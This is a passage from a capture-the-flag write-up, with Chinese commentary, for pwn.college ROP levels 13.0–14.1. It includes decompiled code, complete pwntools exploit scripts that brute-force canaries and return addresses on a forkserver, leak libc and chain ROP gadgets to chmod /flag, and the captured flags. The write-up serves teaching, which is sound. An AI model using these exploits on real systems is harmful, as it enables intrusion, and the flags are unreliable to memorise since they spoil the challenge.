&lt;p&gt;Flag: &lt;code&gt;pwn.college{4358dHEnXGJJC945avk1i2By5c6.0FN2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 13.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform ROP when the function has a canary!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-A0h] BYREF
  const char **v5; // [rsp+8h] [rbp-98h]
  const char **v6; // [rsp+10h] [rbp-90h]
  int v7; // [rsp+1Ch] [rbp-84h]
  int v8; // [rsp+28h] [rbp-78h]
  int v9; // [rsp+2Ch] [rbp-74h]
  const void *v10[3]; // [rsp+30h] [rbp-70h] BYREF
  __int64 v11; // [rsp+48h] [rbp-58h]
  _BYTE buf[72]; // [rsp+50h] [rbp-50h] BYREF
  unsigned __int64 v13; // [rsp+98h] [rbp-8h]
  __int64 savedregs; // [rsp+A0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+A8h] [rbp+8h] BYREF

  v7 = argc;
  v6 = argv;
  v5 = envp;
  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  v8 = argc;
  v10[1] = argv;
  v10[2] = v5;
  puts(
    &quot;This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of&quot;);
  puts(&quot;challenges, you will become painfully familiar with the concept of Return Oriented Programming!\n&quot;);
  sp_ = (__int64)&amp;amp;v4;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v4) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(
    &quot;PIE is turned on! This means that you do not know where any of the gadgets in the main binary are. However, you can do a&quot;);
  puts(
    &quot;partial overwrite of the saved instruction pointer in order to execute 1 gadget! If that saved instruction pointer goes&quot;);
  puts(
    &quot;to libc, you will need to ROP from there. If that saved instruction pointer goes to the main binary, you will need to&quot;);
  puts(
    &quot;ROP from there. You may need need to execute your payload several times to account for the randomness introduced. This&quot;);
  puts(&quot;might take anywhere from 0-12 bits of bruteforce depending on the scenario.\n&quot;);
  puts(&quot;ASLR means that the address of the stack is not known,&quot;);
  puts(&quot;but I will simulate a memory disclosure of it.&quot;);
  puts(&quot;By knowing where the stack is, you can now reference data&quot;);
  puts(&quot;that you write onto the stack.&quot;);
  puts(&quot;Be careful: this data could trip up your ROP chain,&quot;);
  puts(&quot;because it could be interpreted as return addresses.&quot;);
  puts(&quot;You can use gadgets that shift the stack appropriately to avoid that.&quot;);
  printf(&quot;[LEAK] Your input buffer is located at: %p.\n\n&quot;, buf);
  puts(&quot;This will simulate an 8-byte arbitrary read.&quot;);
  v10[0] = 0LL;
  puts(&quot;Address in hex to read from:&quot;);
  __isoc99_scanf(&quot;%p&quot;, v10);
  v11 = *(_QWORD *)v10[0];
  printf(&quot;[LEAK] *%p = 0x%016llx\n\n&quot;, v10[0], v11);
  v9 = read(0, buf, 0x1000uLL);
  printf(&quot;Received %d bytes! This is potentially %d gadgets.\n&quot;, v9, (unsigned __int64)&amp;amp;buf[v9 - rp_] &amp;gt;&amp;gt; 3);
  puts(&quot;Let&apos;s take a look at your chain! Note that we have no way to verify that the gadgets are executable&quot;);
  puts(&quot;from within this challenge. You will have to do that by yourself.&quot;);
  print_chain(rp_, (unsigned int)((unsigned __int64)&amp;amp;buf[v9 - rp_] &amp;gt;&amp;gt; 3) + 1);
  puts(&quot;Leaving!&quot;);
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题不难吧，标绿部分模拟了一个泄漏，我们可以通过它把 canary 泄漏出来。之后我们想办法返回到 &lt;code&gt;__libc_start_main&lt;/code&gt; 再次调用 &lt;code&gt;main&lt;/code&gt; 函数，泄漏一个 &lt;code&gt;libc&lt;/code&gt; 地址出来，计算 &lt;code&gt;libc&lt;/code&gt; 基址，有了基址就可以去构造 ROP Chain 了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    p8,
    process,
    random,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level13.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *main+770
c
&quot;&quot;&quot;

CANARY_OFFSET = 0x48
RET_OFFSET = 0x58
LIBC_OFFSET = 0x24083


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def leak(target, offset, info_type):
    target.recvuntil(b&quot;located at: &quot;)
    leaked_addr = int(target.recvline().rstrip(b&quot;.\n&quot;), 16) + offset

    target.sendline(hex(leaked_addr).encode(&quot;ascii&quot;))
    target.recvuntil(b&quot;[LEAK]&quot;)

    if info_type == &quot;canary&quot;:
        return int(target.recvline()[21:], 16)
    elif info_type == &quot;libc_base&quot;:
        return int(target.recvline()[21:], 16)
    else:
        log.error(b&quot;Invalid info type!&quot;)


def construct_payload(stage, canary, libc_base=None):
    if stage == 1:
        __libc_start_main_fixed_low_byte = b&quot;\x90&quot;
        __libc_start_main_high_byte_candidates = [
            p8(i) for i in range(0x0F, 0x10F, 0x10)
        ]

        return flat(
            b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
            canary,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            __libc_start_main_fixed_low_byte
            + random.choice(__libc_start_main_high_byte_candidates),
        )
    elif stage == 2:
        if libc_base is None:
            log.failure(&quot;libc_base is required for stage 2!&quot;)
            exit()

        local_libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
        local_libc.address = libc_base - LIBC_OFFSET

        rop = ROP(local_libc)

        pop_rdi_ret = rop.rdi.address
        pop_rsi_ret = rop.rsi.address

        filename = next(local_libc.search(b&quot;GNU&quot;))
        mode = 0o4

        return flat(
            b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
            canary,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            pop_rdi_ret,
            filename,
            pop_rsi_ret,
            mode,
            local_libc.symbols[&quot;chmod&quot;],
        )
    else:
        log.error(b&quot;Invalid stage number!&quot;)


def attack(target):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        leaked_canary = leak(target, CANARY_OFFSET, &quot;canary&quot;)
        payload = construct_payload(1, leaked_canary)

        target.send(payload)

        try:
            response = target.recvuntil(b&quot;Welcome to (null)!&quot;, timeout=0.1)

            if b&quot;Welcome to (null)!&quot; in response:
                payload = construct_payload(
                    2, leaked_canary, leak(target, RET_OFFSET, &quot;libc_base&quot;)
                )

                target.send(payload)
        except Exception as e:
            log.failure(f&quot;String not detected in this turn. {e}&quot;)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as f:
                log.success(f.read())
            return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        target = None

        try:
            target = launch(debug=False)

            if attack(target):
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)
        finally:
            if target is not None:
                target.close()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Mw9zt3eeAB8_8it-_3_NRUzoHRA.0VN2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 13.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform ROP when the function has a canary!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-130&quot;&gt;Level 13.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    p8,
    process,
    random,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level13.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

CANARY_OFFSET = 0x78
RET_OFFSET = 0x88
LIBC_OFFSET = 0x24083


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def leak(target, offset, info_type):
    target.recvuntil(b&quot;located at: &quot;)
    leaked_addr = int(target.recvline().rstrip(b&quot;.\n&quot;), 16) + offset

    target.sendline(hex(leaked_addr).encode(&quot;ascii&quot;))
    target.recvuntil(b&quot;[LEAK]&quot;)

    if info_type == &quot;canary&quot;:
        return int(target.recvline()[21:], 16)
    elif info_type == &quot;libc_base&quot;:
        return int(target.recvline()[21:], 16)
    else:
        log.error(b&quot;Invalid info type!&quot;)


def construct_payload(stage, canary, libc_base=None):
    if stage == 1:
        __libc_start_main_fixed_low_byte = b&quot;\x90&quot;
        __libc_start_main_high_byte_candidates = [
            p8(i) for i in range(0x0F, 0x10F, 0x10)
        ]

        return flat(
            b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
            canary,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            __libc_start_main_fixed_low_byte
            + random.choice(__libc_start_main_high_byte_candidates),
        )
    elif stage == 2:
        if libc_base is None:
            log.failure(&quot;libc_base is required for stage 2!&quot;)
            exit()

        local_libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
        local_libc.address = libc_base - LIBC_OFFSET

        rop = ROP(local_libc)

        pop_rdi_ret = rop.rdi.address
        pop_rsi_ret = rop.rsi.address

        filename = next(local_libc.search(b&quot;GNU&quot;))
        mode = 0o4

        return flat(
            b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
            canary,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            pop_rdi_ret,
            filename,
            pop_rsi_ret,
            mode,
            local_libc.symbols[&quot;chmod&quot;],
        )
    else:
        log.error(b&quot;Invalid stage number!&quot;)


def attack(target):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        leaked_canary = leak(target, CANARY_OFFSET, &quot;canary&quot;)
        payload = construct_payload(1, leaked_canary)

        target.send(payload)

        try:
            response = target.recvuntil(b&quot;Welcome to (null)!&quot;, timeout=0.1)

            if b&quot;Welcome to (null)!&quot; in response:
                payload = construct_payload(
                    2, leaked_canary, leak(target, RET_OFFSET, &quot;libc_base&quot;)
                )

                target.send(payload)
        except Exception as e:
            log.failure(f&quot;String not detected in this turn. {e}&quot;)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as f:
                log.success(f.read())
            return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        target = None

        try:
            target = launch(debug=False)

            if attack(target):
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)
        finally:
            if target is not None:
                target.close()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{M-9WLFPzOoEolY4qgzOfZ2Xk3JW.0lN2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 14.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform ROP against a network forkserver!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  int optval; // [rsp+24h] [rbp-2Ch] BYREF
  int fd; // [rsp+28h] [rbp-28h]
  int v7; // [rsp+2Ch] [rbp-24h]
  sockaddr addr; // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(&quot;This challenge is listening for connections on TCP port 1337.\n&quot;);
  puts(&quot;The challenge supports unlimited sequential connections.\n&quot;);
  fd = socket(2, 1, 0);
  optval = 1;
  setsockopt(fd, 1, 15, &amp;amp;optval, 4u);
  addr.sa_family = 2;
  *(_DWORD *)&amp;amp;addr.sa_data[2] = 0;
  *(_WORD *)addr.sa_data = htons(0x539u);
  bind(fd, &amp;amp;addr, 0x10u);
  listen(fd, 1);
  while ( 1 )
  {
    v7 = accept(fd, 0LL, 0LL);
    if ( !fork() )
      break;
    close(v7);
    wait(0LL);
  }
  dup2(v7, 0);
  dup2(v7, 1);
  dup2(v7, 2);
  close(fd);
  close(v7);
  challenge((unsigned int)argc, argv, envp);
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  _QWORD v4[3]; // [rsp+0h] [rbp-80h] BYREF
  int v5; // [rsp+1Ch] [rbp-64h]
  int v6; // [rsp+2Ch] [rbp-54h]
  _BYTE buf[72]; // [rsp+30h] [rbp-50h] BYREF
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+88h] [rbp+8h] BYREF

  v5 = a1;
  v4[2] = a2;
  v4[1] = a3;
  v8 = __readfsqword(0x28u);
  puts(
    &quot;This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of&quot;);
  puts(&quot;challenges, you will become painfully familiar with the concept of Return Oriented Programming!\n&quot;);
  sp_ = (__int64)v4;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v4) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(
    &quot;PIE is turned on! This means that you do not know where any of the gadgets in the main binary are. However, you can do a&quot;);
  puts(
    &quot;partial overwrite of the saved instruction pointer in order to execute 1 gadget! If that saved instruction pointer goes&quot;);
  puts(
    &quot;to libc, you will need to ROP from there. If that saved instruction pointer goes to the main binary, you will need to&quot;);
  puts(
    &quot;ROP from there. You may need need to execute your payload several times to account for the randomness introduced. This&quot;);
  puts(&quot;might take anywhere from 0-12 bits of bruteforce depending on the scenario.\n&quot;);
  v6 = read(0, buf, 0x1000uLL);
  printf(&quot;Received %d bytes! This is potentially %d gadgets.\n&quot;, v6, (unsigned __int64)&amp;amp;buf[v6 - rp_] &amp;gt;&amp;gt; 3);
  puts(&quot;Let&apos;s take a look at your chain! Note that we have no way to verify that the gadgets are executable&quot;);
  puts(&quot;from within this challenge. You will have to do that by yourself.&quot;);
  print_chain(rp_, (unsigned int)((unsigned __int64)&amp;amp;buf[v6 - rp_] &amp;gt;&amp;gt; 3) + 1);
  return puts(&quot;Leaving!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;forkserver&lt;/code&gt;，典。&lt;/p&gt;
&lt;p&gt;爆破 Canary、ret2main, leak libc 再 ROP 应该就好了。2.9 有个 Nu1L Junior 招新赛，我得去抽个热闹，万一选上了岂不是很爽，但是现在才学到 ROP，好在还有一点时间，得提前学点堆了，就怕到时候遇到堆题啥也不会就死了……&lt;/p&gt;
&lt;p&gt;反正这章只剩下两道题，我就先鸽着了，看了下简介感觉都不难，感觉无非就是把所有知识综合起来罢了。&lt;/p&gt;
&lt;p&gt;吗的 Heap 镇南，我被蹂躏的好惨，还是先把这两题打了稳固下 rank 吧。&lt;/p&gt;
&lt;p&gt;重新总结下思路：因为是 forkserver，子进程会沿用父进程的内存布局，所以我们可以把 canary 和 retaddr 爆破出来。有了 retaddr 后我们就可以使用一些程序本身的 gadgets 了，但是这些 gadgets 中不包含 syscall 什么的，所以不能做一些很 powerful 的事情，但是 libc 里面一定有好东西，那么问题就在于怎么获得 libc 基地址了。因为这个程序使用了 &lt;code&gt;puts&lt;/code&gt; 函数，所以我们可以构造两个 stage payload，第一个 stage 用 &lt;code&gt;puts@plt&lt;/code&gt; 泄漏 &lt;code&gt;__libc_start_main&lt;/code&gt; 的地址，第二个 stage 根据泄漏出来的地址计算 libc 基地址，然后构造 ROP Chain Do anything whatever you want!&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    p8,
    process,
    remote,
    sleep,
    time,
)
from pwnlib.gdb import psutil

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level14.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
set follow-fork-mode child
b *challenge+383
c
&quot;&quot;&quot;

CANARY_OFFSET = 0x48
ELF_OFFSET = 0x23C8
LIBC_OFFSET = 0x23F90


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def get_forked_pid(parent_pid):
    children = psutil.Process(parent_pid).children()

    if len(children) != 1:
        raise ValueError(f&quot;Expected 1 child process, found {len(children)}&quot;)

    log.success(f&quot;Parent PID {parent_pid} -&amp;gt; Found child PID {children[0].pid}&quot;)

    return children[0].pid


def launch(local=True, debug=False, aslr=False, argv=None, envp=None, attach=False):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        target = process([elf.path] + (argv or []), env=envp, aslr=aslr)

        if debug:
            if attach:
                nc_process = process([&quot;nc&quot;, HOST, str(PORT)])
                sleep(1)

                gdb.attach(target=get_forked_pid(target.pid), gdbscript=gdbscript)

                return nc_process
            else:
                target.close()

                return gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def brute_force(target_type, fixed_byte, canary=b&quot;&quot;):
    current = fixed_byte
    length = 0x8 if target_type == &quot;canary&quot; else 0x6
    start_time = time.time()

    while len(current) &amp;lt; length:
        for byte in range(0x0, 0xFF):
            with remote(HOST, PORT) as target:
                payload = flat(
                    b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;) + current + p8(byte)
                    if target_type == &quot;canary&quot;
                    else b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;)
                    + canary
                    + b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
                    + current
                    + p8(byte)
                )

                target.send(payload)

                response = target.recvall(timeout=3)

                if (
                    target_type == &quot;canary&quot;
                    and b&quot;*** stack smashing detected ***&quot; not in response
                ) or (target_type == &quot;retaddr&quot; and b&quot;Goodbye!&quot; in response):
                    current += p8(byte)
                    break

    end_time = time.time()
    elapsed_time = end_time - start_time

    log.success(
        f&quot;{target_type.capitalize()} brute-forced: {to_hex_bytes(current)} in {elapsed_time:.2f} seconds.&quot;
    )

    return current


def construct_payload(stage, canary, retaddr, leaked_libc=None):
    elf.address = int.from_bytes(retaddr, &quot;little&quot;) - ELF_OFFSET

    rop = ROP(elf)

    pop_rdi_ret = rop.rdi.address
    pop_rsi_pop_r15_ret = rop.rsi.address

    if stage == 1:
        return flat(
            b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
            canary,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            pop_rdi_ret,
            elf.got[&quot;__libc_start_main&quot;],
            elf.plt[&quot;puts&quot;],
        )
    elif stage == 2:
        if leaked_libc is None:
            log.failure(&quot;libc_base is required for stage 2!&quot;)
            exit()

        libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
        libc.address = int.from_bytes(leaked_libc, &quot;little&quot;) - LIBC_OFFSET

        filename = next(elf.search(b&quot;GNU&quot;))
        mode = 0o4

        return flat(
            b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
            canary,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            pop_rdi_ret,
            filename,
            pop_rsi_pop_r15_ret,
            mode,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            libc.symbols[&quot;chmod&quot;],
        )


def attack(stage, canary=None, retaddr=None, leaked_libc=None):
    try:
        if stage == 1:
            with remote(HOST, PORT) as target:
                payload = construct_payload(1, canary, retaddr)
                target.send(payload)

                response = target.recvall(timeout=1)

                return response[-7:].rstrip()
        elif stage == 2:
            os.system(&quot;ln -s /flag GNU&quot;)

            with remote(HOST, PORT) as target:
                payload = construct_payload(2, canary, retaddr, leaked_libc)

                target.send(payload)
                target.recvall(timeout=1)

            try:
                with open(&quot;/flag&quot;, &quot;r&quot;) as f:
                    log.success(f.read())
                return True
            except FileNotFoundError:
                log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
            except PermissionError:
                log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        else:
            log.error(b&quot;Invalid stage number!&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        launch(debug=False, attach=False)

        canary = brute_force(&quot;canary&quot;, b&quot;\x00&quot;)
        retaddr = brute_force(&quot;retaddr&quot;, b&quot;\xc8&quot;, canary)
        leaked_libc = attack(1, canary, retaddr)

        if attack(2, canary, retaddr, leaked_libc):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{wJF3GTTKHHSqaWXrhLMIUW4ocoT.01N2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 14.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform ROP against a network forkserver!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-140&quot;&gt;Level 14.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    p8,
    process,
    remote,
    sleep,
    time,
)
from pwnlib.gdb import psutil

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level14.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
set follow-fork-mode child
c
&quot;&quot;&quot;

CANARY_OFFSET = 0x48
ELF_OFFSET = 0x1726
LIBC_OFFSET = 0x23F90


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def get_forked_pid(parent_pid):
    children = psutil.Process(parent_pid).children()

    if len(children) != 1:
        raise ValueError(f&quot;Expected 1 child process, found {len(children)}&quot;)

    log.success(f&quot;Parent PID {parent_pid} -&amp;gt; Found child PID {children[0].pid}&quot;)

    return children[0].pid


def launch(local=True, debug=False, aslr=False, argv=None, envp=None, attach=False):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        target = process([elf.path] + (argv or []), env=envp, aslr=aslr)

        if debug:
            if attach:
                nc_process = process([&quot;nc&quot;, HOST, str(PORT)])
                sleep(1)

                gdb.attach(target=get_forked_pid(target.pid), gdbscript=gdbscript)

                return nc_process
            else:
                target.close()

                return gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def brute_force(target_type, fixed_byte, canary=b&quot;&quot;):
    current = fixed_byte
    length = 0x8 if target_type == &quot;canary&quot; else 0x6
    start_time = time.time()

    while len(current) &amp;lt; length:
        for byte in range(0x0, 0xFF):
            with remote(HOST, PORT) as target:
                payload = flat(
                    b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;) + current + p8(byte)
                    if target_type == &quot;canary&quot;
                    else b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;)
                    + canary
                    + b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
                    + current
                    + p8(byte)
                )

                target.send(payload)

                response = target.recvall(timeout=3)

                if (
                    target_type == &quot;canary&quot;
                    and b&quot;*** stack smashing detected ***&quot; not in response
                ) or (target_type == &quot;retaddr&quot; and b&quot;Goodbye!&quot; in response):
                    current += p8(byte)
                    break

    end_time = time.time()
    elapsed_time = end_time - start_time

    log.success(
        f&quot;{target_type.capitalize()} brute-forced: {to_hex_bytes(current)} in {elapsed_time:.2f} seconds.&quot;
    )

    return current


def construct_payload(stage, canary, retaddr, leaked_libc=None):
    elf.address = int.from_bytes(retaddr, &quot;little&quot;) - ELF_OFFSET

    rop = ROP(elf)

    pop_rdi_ret = rop.rdi.address
    pop_rsi_pop_r15_ret = rop.rsi.address

    if stage == 1:
        return flat(
            b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
            canary,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            pop_rdi_ret,
            elf.got[&quot;__libc_start_main&quot;],
            elf.plt[&quot;puts&quot;],
        )
    elif stage == 2:
        if leaked_libc is None:
            log.failure(&quot;libc_base is required for stage 2!&quot;)
            exit()

        libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
        libc.address = int.from_bytes(leaked_libc, &quot;little&quot;) - LIBC_OFFSET

        filename = next(elf.search(b&quot;GNU&quot;))
        mode = 0o4

        return flat(
            b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
            canary,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            pop_rdi_ret,
            filename,
            pop_rsi_pop_r15_ret,
            mode,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            libc.symbols[&quot;chmod&quot;],
        )


def attack(stage, canary=None, retaddr=None, leaked_libc=None):
    try:
        if stage == 1:
            with remote(HOST, PORT) as target:
                payload = construct_payload(1, canary, retaddr)
                target.send(payload)

                response = target.recvall(timeout=1)

                return response[-7:].rstrip()
        elif stage == 2:
            os.system(&quot;ln -s /flag GNU&quot;)

            with remote(HOST, PORT) as target:
                payload = construct_payload(2, canary, retaddr, leaked_libc)

                target.send(payload)
                target.recvall(timeout=1)

            try:
                with open(&quot;/flag&quot;, &quot;r&quot;) as f:
                    log.success(f.read())
                return True
            except FileNotFoundError:
                log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
            except PermissionError:
                log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        else:
            log.error(b&quot;Invalid stage number!&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        launch(debug=False, attach=False)

        canary = brute_force(&quot;canary&quot;, b&quot;\x00&quot;)
        retaddr = brute_force(&quot;retaddr&quot;, b&quot;\x26&quot;, canary)
        leaked_libc = attack(1, canary, retaddr)

        if attack(2, canary, retaddr, leaked_libc):
            exit()
    except Exception as e:
